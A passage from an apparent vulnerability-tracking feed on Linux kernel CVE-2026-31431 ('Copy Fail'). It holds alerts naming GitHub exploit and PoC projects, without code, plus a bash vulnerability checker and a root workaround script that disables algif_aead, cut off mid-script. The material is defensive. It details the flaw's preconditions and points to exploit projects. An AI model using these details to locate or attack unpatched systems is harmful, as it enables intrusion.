"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82904", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431-Copy-Fail\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Industri4l-H3ll-Xpl0it3rs\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 10:59:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-31431 Exploit | by infrar3d\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T11:00:04.000000Z"}, {"uuid": "279b3b04-b993-4724-9a87-ad83d8bc5f2b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82888", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Copy-Fail-CVE-2026-31431-Kubernetes-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Percivalll\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C\n\u2b50 Star\u6570\u91cf\uff1a 44  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 14\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-05 09:55:23\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-05T10:00:05.000000Z"}, {"uuid": "ee6bbb38-21f9-4b95-9eff-64a999052ad7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/khoipro/fbcbfa478c3fd58b001a2dc3d620bcdf", "content": "#!/bin/bash\n# CVE-2026-31431 (\"Copy Fail\") \u2014 pure-bash static vulnerability checker\n#\n# Exit codes:\n#   0 = NOT VULNERABLE (patched kernel or preconditions not met)\n#   1 = INCONCLUSIVE\n#   2 = LIKELY VULNERABLE\n#   3 = MITIGATED (workaround applied, kernel not yet patched)\n#\n# Use only on hosts you own or are explicitly authorized to test.\n\nKERNEL=$(uname -r)\nARCH=$(uname -m)\nALG_NAME=\"authencesn(hmac(sha256),cbc(aes))\"\n\nRED='\\033[0;31m'; GREEN='\\033[0;32m'; YELLOW='\\033[1;33m'\nBOLD='\\033[1m';   DIM='\\033[2m';      NC='\\033[0m'\n\n# \u2500\u2500\u2500 result variables \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nR_KVER=\"\"        # patched | vulnerable | not_affected | unknown\nR_KVER_NOTE=\"\"\nR_CFG=\"\"         # m | y | not_set | unknown\nR_MOD=\"\"         # loaded | on_disk | absent\nR_AF_ALG=\"\"      # available | unavailable\nR_CRYPTO=\"\"      # present | absent\nR_WORKAROUND=\"\"  # blacklist | cmdline | both | none\nR_WA_NOTE=\"\"\nR_CONTAINER=\"\"   # no | docker | container | systemd-nspawn\n\n# \u2500\u2500\u2500 checks (silent) \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ncheck_kernel_version() {\n    local rel=\"${KERNEL%%-*}\"\n    local major minor patch\n    IFS='.' read -r major minor patch <<< \"$rel\"\n    patch=\"${patch%%[^0-9]*}\"\n    major=\"${major:-0}\"; minor=\"${minor:-0}\"; patch=\"${patch:-0}\"\n\n    if [ \"$major\" -lt 4 ] || { [ \"$major\" -eq 4 ] && [ \"$minor\" -lt 14 ]; }; then\n        R_KVER=\"not_affected\"; R_KVER_NOTE=\"< 4.14, predates vulnerable code\"; return\n    fi\n\n    # \u2500\u2500 RHEL-family kernels \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    # Format: major.minor.0-BUILD.elX[_Y].ARCH  (e.g. 5.14.0-214.el9.x86_64)\n    # The upstream sublevel is always .0; the RHEL build number carries the\n    # real patch level.  We cannot compare patch against the upstream LTS\n    # table, so we check the RPM changelog for the actual CVE fix.\n    if echo \"$KERNEL\" | grep -qE \"\\.el[0-9]\"; then\n        local rhel_build el_tag kern_pkg\n        rhel_build=$(echo \"$KERNEL\" | sed 's/.*-\\([0-9]*\\)\\..*/\\1/')\n        el_tag=$(echo \"$KERNEL\" | grep -oE \"el[0-9]+(_[0-9]+)?\" | head -1)\n\n        if command -v rpm >/dev/null 2>&1; then\n            # Find the exact RPM that owns this kernel's vmlinuz\n            kern_pkg=$(rpm -qf \"/boot/vmlinuz-${KERNEL}\" 2>/dev/null | head -1)\n            # Fallback: kernel-core package by NEVRA\n            [ -z \"$kern_pkg\" ] && \\\n                kern_pkg=$(rpm -qa 2>/dev/null | grep -E \"^kernel(-core)?-\" \\\n                           | grep \"${KERNEL%.*}\" | head -1)\n            if [ -n \"$kern_pkg\" ]; then\n                if rpm -q --changelog \"$kern_pkg\" 2>/dev/null \\\n                        | grep -qF \"CVE-2026-31431\"; then\n                    R_KVER=\"patched\"\n                    R_KVER_NOTE=\"RHEL backport confirmed (${el_tag} build ${rhel_build})\"\n                else\n                    R_KVER=\"vulnerable\"\n                    R_KVER_NOTE=\"RHEL ${el_tag} build ${rhel_build} \u2014 CVE-2026-31431 not in kernel changelog\"\n                fi\n            else\n                # Package query failed (container without /boot, or non-RPM overlay)\n                R_KVER=\"unknown\"\n                R_KVER_NOTE=\"RHEL ${el_tag} \u2014 run: rpm -q --changelog kernel-core-\\$(uname -r) | grep CVE-2026-31431\"\n            fi\n        else\n            R_KVER=\"unknown\"\n            R_KVER_NOTE=\"RHEL-family ${el_tag} build ${rhel_build} \u2014 check Red Hat advisory for CVE-2026-31431\"\n        fi\n        return\n    fi\n\n    # \u2500\u2500 Upstream LTS version table \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n    local patched=0 min_patch=\"\"\n    case \"$major.$minor\" in\n        5.10) min_patch=254; [ \"$patch\" -ge 254 ] && patched=1 ;;\n        5.15) min_patch=204; [ \"$patch\" -ge 204 ] && patched=1 ;;\n        6.1)  min_patch=170; [ \"$patch\" -ge 170 ] && patched=1 ;;\n        6.6)  min_patch=137; [ \"$patch\" -ge 137 ] && patched=1 ;;\n        6.12) min_patch=85;  [ \"$patch\" -ge 85  ] && patched=1 ;;\n        6.18) min_patch=22;  [ \"$patch\" -ge 22  ] && patched=1 ;;\n        6.19) min_patch=12;  [ \"$patch\" -ge 12  ] && patched=1 ;;\n    esac\n\n    if [ \"$patched\" -eq 1 ]; then\n        R_KVER=\"patched\"; R_KVER_NOTE=\"patched release\"\n    elif [ -n \"$min_patch\" ]; then\n        R_KVER=\"vulnerable\"; R_KVER_NOTE=\"vulnerable, patched >= $major.$minor.$min_patch\"\n    elif { [ \"$major\" -gt 6 ] || { [ \"$major\" -eq 6 ] && [ \"$minor\" -ge 20 ]; }; }; then\n        # Beyond the highest tracked LTS \u2014 may or may not be patched\n        R_KVER=\"unknown\"; R_KVER_NOTE=\"beyond tracked versions \u2014 check distro advisory\"\n    else\n        # 4.14\u20136.19 non-LTS or EOL: in vulnerable range, no upstream fix for this series\n        R_KVER=\"vulnerable\"\n        R_KVER_NOTE=\"non-LTS/EOL upstream series ${major}.${minor} \u2014 no upstream fix available\"\n    fi\n}\n\ncheck_kernel_config() {\n    local val\n    val=$(grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" /boot/config-\"$KERNEL\" 2>/dev/null \\\n        || zcat /proc/config.gz 2>/dev/null | grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\")\n    case \"$val\" in\n        *=m) R_CFG=\"m\" ;;\n        *=y) R_CFG=\"y\" ;;\n        \"\")\n            # Distinguish: config file readable but key absent = not compiled\n            #              config file unreadable            = unknown state\n            if [ -r \"/boot/config-${KERNEL}\" ] || [ -r /proc/config.gz ]; then\n                R_CFG=\"not_set\"\n            else\n                R_CFG=\"unknown\"\n            fi\n            ;;\n        *)   R_CFG=\"unknown\" ;;\n    esac\n}\n\ncheck_module() {\n    if lsmod 2>/dev/null | grep -q \"^algif_aead\"; then\n        R_MOD=\"loaded\"; return\n    fi\n    local ko\n    ko=$(find /lib/modules/\"$KERNEL\" -name \"algif_aead.ko*\" 2>/dev/null | head -1)\n    [ -n \"$ko\" ] && R_MOD=\"on_disk\" || R_MOD=\"absent\"\n}\n\ncheck_af_alg() {\n    if grep -qE \"^ALG\\b\" /proc/net/protocols 2>/dev/null \\\n        || lsmod 2>/dev/null | grep -q \"^af_alg\"; then\n        R_AF_ALG=\"available\"\n    else\n        R_AF_ALG=\"unavailable\"\n    fi\n}\n\ncheck_proc_crypto() {\n    if [ ! -r /proc/crypto ]; then\n        R_CRYPTO=\"absent\"; return\n    fi\n    grep -qF \"name         : $ALG_NAME\" /proc/crypto 2>/dev/null \\\n        && R_CRYPTO=\"present\" || R_CRYPTO=\"absent\"\n}\n\ncheck_workaround() {\n    local bl=0 cl=0 gb=0\n\n    # 1. modprobe.d blacklist (=m case, effective immediately after rmmod)\n    if grep -rl \"install algif_aead /bin/false\" /etc/modprobe.d/ 2>/dev/null | grep -q .; then\n        bl=1\n    fi\n\n    # 2. initcall_blacklist active in CURRENT boot (=y case, effective now)\n    grep -q \"initcall_blacklist=algif_aead_init\" /proc/cmdline 2>/dev/null && cl=1\n\n    # 3. initcall_blacklist configured in bootloader but NOT yet active (pending reboot)\n    if [ $cl -eq 0 ]; then\n        if command -v grubby >/dev/null 2>&1 \\\n                && grubby --info=ALL 2>/dev/null \\\n                   | grep -qF \"initcall_blacklist=algif_aead_init\"; then\n            gb=1\n        elif grep -q \"initcall_blacklist=algif_aead_init\" /etc/default/grub 2>/dev/null; then\n            gb=1\n        fi\n    fi\n\n    if   [ $bl -eq 1 ] && [ $cl -eq 1 ]; then\n        R_WORKAROUND=\"both\";      R_WA_NOTE=\"blacklist + cmdline\"\n    elif [ $bl -eq 1 ]; then\n        R_WORKAROUND=\"blacklist\"; R_WA_NOTE=\"/etc/modprobe.d/\"\n    elif [ $cl -eq 1 ]; then\n        R_WORKAROUND=\"cmdline\";   R_WA_NOTE=\"initcall_blacklist active in /proc/cmdline\"\n    elif [ $gb -eq 1 ]; then\n        R_WORKAROUND=\"pending\";   R_WA_NOTE=\"configured in bootloader \u2014 reboot required to activate\"\n    else\n        R_WORKAROUND=\"none\";      R_WA_NOTE=\"\"\n    fi\n}\n\ncheck_container() {\n    if [ -f /.dockerenv ]; then\n        R_CONTAINER=\"docker\"\n    elif grep -qE \"lxc|kubepods|docker|containerd\" /proc/1/cgroup 2>/dev/null; then\n        R_CONTAINER=\"container\"\n    elif [ -n \"${container:-}\" ]; then\n        R_CONTAINER=\"systemd-nspawn\"\n    else\n        R_CONTAINER=\"no\"\n    fi\n}\n\n# \u2500\u2500\u2500 run all checks silently \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\ncheck_kernel_version\ncheck_kernel_config\ncheck_module\ncheck_af_alg\ncheck_proc_crypto\ncheck_workaround\ncheck_container\n\n# \u2500\u2500\u2500 helper: colored label \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nclabel() {\n    # clabel COLOR \"TEXT\"\n    printf \"${1}%-12s${NC}\" \"$2\"\n}\n\nok()   { clabel \"$GREEN\"  \"$1\"; }\nbad()  { clabel \"$RED\"    \"$1\"; }\nmeh()  { clabel \"$YELLOW\" \"$1\"; }\ndim()  { printf \"${DIM}%s${NC}\" \"$1\"; }\n\n# \u2500\u2500\u2500 status table \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nW=54\nDIV=$(printf '\u2500%.0s' $(seq 1 $W))\n\necho -e \"${BOLD}CVE-2026-31431 \\\"Copy Fail\\\"${NC}  \u00b7  $KERNEL  \u00b7  $ARCH\"\necho \"$DIV\"\nprintf \"  %-18s %-14s %s\\n\" \"CHECK\" \"VALUE\" \"NOTE\"\necho \"$DIV\"\n\n# 1. Kernel version\nprintf \"  %-18s \" \"Kernel\"\ncase \"$R_KVER\" in\n    patched)      ok  \"patched\"     ;;\n    not_affected) ok  \"not affected\" ;;\n    vulnerable)   bad \"vulnerable\"  ;;\n    *)            meh \"unknown\"     ;;\nesac\nprintf \"  %s\\n\" \"$(dim \"$R_KVER_NOTE\")\"\n\n# 2. Kernel config\nprintf \"  %-18s \" \"Config\"\ncase \"$R_CFG\" in\n    not_set) ok  \"not set\"  ;;\n    m)       meh \"=m\"       ;;\n    y)       bad \"=y\"       ;;\n    *)       meh \"unknown\"  ;;\nesac\ncase \"$R_CFG\" in\n    m)       printf \"  %s\\n\" \"$(dim \"loadable module\")\" ;;\n    y)       printf \"  %s\\n\" \"$(dim \"built-in, rmmod N/A\")\" ;;\n    not_set) printf \"  %s\\n\" \"$(dim \"not compiled\")\" ;;\n    unknown) printf \"  %s\\n\" \"$(dim \"config file unreadable\")\" ;;\n    *)       printf \"\\n\" ;;\nesac\n\n# 3. Module\nprintf \"  %-18s \" \"algif_aead\"\ncase \"$R_MOD\" in\n    loaded)   bad \"loaded\"    ;;\n    on_disk)  meh \"not loaded\" ;;\n    absent)   ok  \"absent\"    ;;\nesac\ncase \"$R_MOD\" in\n    on_disk) printf \"  %s\\n\" \"$(dim \"module file on disk\")\" ;;\n    *)       printf \"\\n\" ;;\nesac\n\n# 4. AF_ALG\nprintf \"  %-18s \" \"AF_ALG socket\"\ncase \"$R_AF_ALG\" in\n    available)   meh \"available\"   ;;\n    unavailable) ok  \"unavailable\" ;;\nesac\nprintf \"\\n\"\n\n# 5. authencesn\nprintf \"  %-18s \" \"authencesn\"\ncase \"$R_CRYPTO\" in\n    present) bad \"instantiated\" ;;\n    absent)  ok  \"absent\"       ;;\nesac\nprintf \"  %s\\n\" \"$(dim \"/proc/crypto\")\"\n\n# 6. Workaround\nprintf \"  %-18s \" \"Workaround\"\ncase \"$R_WORKAROUND\" in\n    both|blacklist|cmdline) ok  \"${R_WORKAROUND}\" ;;\n    pending)                meh \"pending\"          ;;\n    none)                   bad \"none\"             ;;\nesac\n[ -n \"$R_WA_NOTE\" ] && printf \"  %s\\n\" \"$(dim \"$R_WA_NOTE\")\" || printf \"\\n\"\n\n# 7. Container (only shown when detected \u2014 skipping host means checks may mislead)\nif [ \"$R_CONTAINER\" != \"no\" ]; then\n    printf \"  %-18s \" \"Environment\"\n    meh \"$R_CONTAINER\"\n    printf \"  %s\\n\" \"$(dim \"running inside container \u2014 apply workaround on HOST\")\"\nfi\n\necho \"$DIV\"\n\n# \u2500\u2500\u2500 verdict \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\nverdict() {\n    if [ \"$R_KVER\" = \"not_affected\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   kernel predates vulnerable code (< 4.14)\\n\"\n        return 0\n    fi\n    if [ \"$R_KVER\" = \"patched\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   running a patched kernel\\n\"\n        return 0\n    fi\n    if [ \"$R_CFG\" = \"not_set\" ] && [ \"$R_MOD\" = \"absent\" ]; then\n        printf \"  ${GREEN}${BOLD}NOT VULNERABLE${NC}   algif_aead not compiled into this kernel\\n\"\n        return 0\n    fi\n    if [ \"$R_WORKAROUND\" = \"pending\" ] && [ \"$R_MOD\" != \"loaded\" ]; then\n        printf \"  ${YELLOW}${BOLD}MITIGATED${NC}        workaround configured \u2014 ${RED}REBOOT REQUIRED${NC} to activate\\n\"\n        return 3\n    fi\n    if [ \"$R_WORKAROUND\" != \"none\" ] && [ \"$R_WORKAROUND\" != \"pending\" ] && [ \"$R_MOD\" != \"loaded\" ]; then\n        printf \"  ${YELLOW}${BOLD}MITIGATED${NC}        workaround active \u2014 upgrade kernel to apply permanent fix\\n\"\n        return 3\n    fi\n    if [ \"$R_AF_ALG\" = \"available\" ] && [ \"$R_CRYPTO\" = \"present\" ] && [ \"$R_MOD\" = \"loaded\" ]; then\n        printf \"  ${RED}${BOLD}LIKELY VULNERABLE${NC}  all preconditions met \u2014 apply workaround or upgrade kernel\\n\"\n        return 2\n    fi\n    # Module on disk (=m) or built-in (=y) with no workaround:\n    # any unprivileged user can trigger auto-load via AF_ALG socket \u2014 treat as exploitable\n    if [ \"$R_WORKAROUND\" = \"none\" ] && { [ \"$R_MOD\" = \"on_disk\" ] || [ \"$R_CFG\" = \"y\" ]; }; then\n        printf \"  ${RED}${BOLD}LIKELY VULNERABLE${NC}  module loadable/built-in, no workaround \u2014 apply workaround or upgrade kernel\\n\"\n        return 2\n    fi\n    printf \"  ${YELLOW}${BOLD}INCONCLUSIVE${NC}     not all preconditions confirmed \u2014 dynamic test recommended\\n\"\n    return 1\n}\n\nverdict\nEXIT_CODE=$?\necho \"$DIV\"\nexit $EXIT_CODE\n\n\n#!/bin/bash\n# Workaround for CVE-2026-31431 (\"Copy Fail\")\n# Disables algif_aead to prevent page-cache corruption via AF_ALG splice.\n# Supports: Debian/Ubuntu, RHEL/CentOS/Fedora, Arch, SUSE, and derivatives.\nset -e\n\n# ---------------------------------------------------------------------------\n# Pre-flight: must run as root\n# ---------------------------------------------------------------------------\nif [ \"$EUID\" -ne 0 ]; then\n    if command -v sudo >/dev/null 2>&1; then\n        exec sudo \"$0\" \"$@\"\n    else\n        echo \"[-] This script must be run as root.\" >&2\n        exit 1\n    fi\nfi\n\n# ---------------------------------------------------------------------------\n# Container detection \u2014 modprobe blacklist written here affects only THIS\n# container's namespace; it does NOT protect the host kernel.  The built-in\n# (=y) GRUB path is also ineffective because /etc/default/grub inside the\n# container is not the host's bootloader config.\n# ---------------------------------------------------------------------------\nIS_CONTAINER=0\nif [ -f /.dockerenv ] \\\n    || grep -qE \"lxc|kubepods|docker|containerd\" /proc/1/cgroup 2>/dev/null \\\n    || [ -n \"${container:-}\" ]; then\n    IS_CONTAINER=1\n    echo \"[!] Container environment detected.\"\n    echo \"    Workaround applied here affects only this container's namespace.\"\n    echo \"    Apply this script on the HOST system to protect the host kernel.\"\n    echo \"\"\nfi\n\n# ---------------------------------------------------------------------------\n# Detect distro (for logging only \u2014 tool detection drives behaviour)\n# ---------------------------------------------------------------------------\nDISTRO=\"unknown\"\nif [ -f /etc/os-release ]; then\n    DISTRO=$(. /etc/os-release && echo \"${NAME:-unknown}\")\nfi\n\n# ---------------------------------------------------------------------------\n# Detect initramfs rebuild tool\n# ---------------------------------------------------------------------------\nif command -v dracut >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"dracut -f\"\nelif command -v update-initramfs >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"update-initramfs -u\"\nelif command -v mkinitcpio >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"mkinitcpio -P\"\nelif command -v mkinitfs >/dev/null 2>&1; then\n    INITRAMFS_CMD=\"mkinitfs\"           # Alpine Linux\nelse\n    INITRAMFS_CMD=\"\"\nfi\n\n# ---------------------------------------------------------------------------\n# Detect GRUB config tool and target config path\n# ---------------------------------------------------------------------------\nif command -v grub2-mkconfig >/dev/null 2>&1; then\n    GRUB_MKCFG=\"grub2-mkconfig\"\nelif command -v grub-mkconfig >/dev/null 2>&1; then\n    GRUB_MKCFG=\"grub-mkconfig\"\nelse\n    GRUB_MKCFG=\"\"\nfi\n\n# grubby is the preferred kernel-cmdline tool on RHEL/CentOS/Fedora;\n# it handles both legacy GRUB and BLS (Boot Loader Specification) entries.\nif command -v grubby >/dev/null 2>&1; then\n    GRUB_KERNEL_TOOL=\"grubby\"\nelse\n    GRUB_KERNEL_TOOL=\"grub\"\nfi\n\ndetect_grub_cfg_path() {\n    if [ -d /sys/firmware/efi ]; then\n        # Try distro-specific EFI path first to avoid picking the wrong entry\n        # when multiple distros share the same EFI partition.\n        local distro_id cfg\n        distro_id=$(. /etc/os-release 2>/dev/null && echo \"${ID:-}\" || echo \"\")\n        if [ -n \"$distro_id\" ] && [ -f \"/boot/efi/EFI/${distro_id}/grub.cfg\" ]; then\n            echo \"/boot/efi/EFI/${distro_id}/grub.cfg\"\n            return\n        fi\n        # Exclude the generic BOOT fallback directory to avoid stale entries.\n        cfg=$(find /boot/efi/EFI -maxdepth 2 -name \"grub.cfg\" 2>/dev/null \\\n            | grep -iv \"/BOOT/\" | head -1)\n        [ -z \"$cfg\" ] && cfg=$(find /boot/efi -name \"grub.cfg\" 2>/dev/null | head -1)\n        if [ -z \"$cfg\" ]; then\n            echo \"[-] UEFI boot detected but no grub.cfg found under /boot/efi\" >&2\n            exit 1\n        fi\n        echo \"$cfg\"\n    elif [ -f /boot/grub2/grub.cfg ]; then\n        echo \"/boot/grub2/grub.cfg\"\n    elif [ -f /boot/grub/grub.cfg ]; then\n        echo \"/boot/grub/grub.cfg\"\n    else\n        echo \"[-] Cannot locate grub.cfg \u2014 searched /boot/grub2 and /boot/grub\" >&2\n        exit 1\n    fi\n}\n\n# ---------------------------------------------------------------------------\n# Read kernel config\n# ---------------------------------------------------------------------------\nKERNEL=$(uname -r)\nCONFIG_VAL=$(grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" /boot/config-\"$KERNEL\" 2>/dev/null \\\n    || zcat /proc/config.gz 2>/dev/null | grep -E \"^CONFIG_CRYPTO_USER_API_AEAD=\" \\\n    || echo \"NOT_FOUND\")\n\necho \"[*] Distro : $DISTRO\"\necho \"[*] Kernel : $KERNEL\"\necho \"[*] CONFIG_CRYPTO_USER_API_AEAD: $CONFIG_VAL\"\necho \"[*] initramfs tool: ${INITRAMFS_CMD:-NOT FOUND}\"\necho \"[*] GRUB mkconfig : ${GRUB_MKCFG:-NOT FOUND}\"\necho \"[*] kernel cmdline: ${GRUB_KERNEL_TOOL}\"\necho \"\"\n\n# ---------------------------------------------------------------------------\ncase \"$CONFIG_VAL\" in\n\n    CONFIG_CRYPTO_USER_API_AEAD=m)\n        echo \"[*] Module mode \u2014 rmmod + blacklist + initramfs rebuild\"\n\n        # Unload with modprobe -r to handle dependencies gracefully.\n        # Do NOT exit if unload fails (e.g. module in use, container) \u2014\n        # the blacklist still prevents reload after next reboot.\n        if lsmod | grep -q \"^algif_aead\"; then\n            if modprobe -r algif_aead 2>/dev/null; then\n                echo \"[+] algif_aead unloaded\"\n            else\n                echo \"[!] Could not unload algif_aead (module in use or insufficient privileges)\"\n                echo \"    Blacklist will prevent reload. Reboot to fully apply.\"\n            fi\n        else\n            echo \"[*] algif_aead not currently loaded, skipping unload\"\n        fi\n\n        BLACKLIST_FILE=\"/etc/modprobe.d/disable-algif_aead.conf\"\n        if [ -f \"$BLACKLIST_FILE\" ]; then\n            echo \"[*] Blacklist already present at $BLACKLIST_FILE\"\n        else\n            echo \"install algif_aead /bin/false\" | tee \"$BLACKLIST_FILE\" > /dev/null\n            echo \"[+] Blacklisted at $BLACKLIST_FILE\"\n\n            if [ -z \"$INITRAMFS_CMD\" ]; then\n                echo \"[-] No initramfs rebuild tool found (dracut / update-initramfs / mkinitcpio).\" >&2\n                echo \"    Rebuild initramfs manually before next boot.\" >&2\n            else\n                $INITRAMFS_CMD\n                echo \"[+] initramfs rebuilt ($INITRAMFS_CMD)\"\n            fi\n        fi\n        ;;\n\n    CONFIG_CRYPTO_USER_API_AEAD=y)\n        echo \"[!] Built-in mode \u2014 must use initcall_blacklist via GRUB kernel cmdline\"\n\n        PARAM=\"initcall_blacklist=algif_aead_init\"\n\n        if [ \"$GRUB_KERNEL_TOOL\" = \"grubby\" ]; then\n            # RHEL / CentOS / Fedora: grubby handles both legacy GRUB and BLS entries.\n            if grubby --info=ALL 2>/dev/null | grep -qF \"$PARAM\"; then\n                echo \"[*] $PARAM already present in kernel args (grubby), skipping\"\n            else\n                grubby --update-kernel=ALL --args=\"$PARAM\"\n                echo \"[+] Added $PARAM to all kernel entries via grubby\"\n                echo \"[+] Reboot to apply. Verify: cat /proc/cmdline | grep initcall_blacklist\"\n            fi\n        else\n            # Debian / Ubuntu / Arch / SUSE: edit /etc/default/grub then mkconfig\n            GRUB_FILE=\"/etc/default/grub\"\n\n            if ! [ -f \"$GRUB_FILE\" ]; then\n                echo \"[-] $GRUB_FILE not found \u2014 cannot configure GRUB automatically.\" >&2\n                echo \"    Add '$PARAM' to your bootloader's kernel command line manually.\" >&2\n                exit 1\n            fi\n\n            if grep -q \"$PARAM\" \"$GRUB_FILE\"; then\n                echo \"[*] $PARAM already present in $GRUB_FILE, skipping\"\n            else\n                # Prefer GRUB_CMDLINE_LINUX (all entries) over _DEFAULT (default entry only)\n                if grep -q \"^GRUB_CMDLINE_LINUX=\" \"$GRUB_FILE\"; then\n                    GRUB_VAR=\"GRUB_CMDLINE_LINUX\"\n                elif grep -q \"^GRUB_CMDLINE_LINUX_DEFAULT=\" \"$GRUB_FILE\"; then\n                    GRUB_VAR=\"GRUB_CMDLINE_LINUX_DEFAULT\"\n                else\n                    echo \"[-] Neither GRUB_CMDLINE_LINUX nor GRUB_CMDLINE_LINUX_DEFAULT found in $GRUB_FILE\" >&2\n                    echo \"    Add '$PARAM' to your bootloader's kernel command line manually.\" >&2\n                    exit 1\n                fi\n\n                sed -i \"s|\\(${GRUB_VAR}=\\\"[^\\\"]*\\)\\\"|\\1 ${PARAM}\\\"|\" \"$GRUB_FILE\"\n\n                # Verify the parameter was actually inserted\n                if ! grep -q \"$PARAM\" \"$GRUB_FILE\"; then\n                    echo \"[-] sed substitution failed \u2014 $PARAM not found in $GRUB_FILE after edit.\" >&2\n                    echo \"    Add '$PARAM' to ${GRUB_VAR} in $GRUB_FILE manually.\" >&2\n                    exit 1\n                fi\n                echo \"[+] Added $PARAM to $GRUB_VAR in $GRUB_FILE\"\n\n                if [ -z \"$GRUB_MKCFG\" ]; then\n                    echo \"[-] No GRUB config tool found (grub2-mkconfig / grub-mkconfig).\" >&2\n                    echo \"    Regenerate your GRUB config manually before rebooting.\" >&2\n                    exit 1\n                fi\n\n                GRUB_CFG=$(detect_grub_cfg_path)\n                echo \"[*] Regenerating GRUB config at $GRUB_CFG\"\n                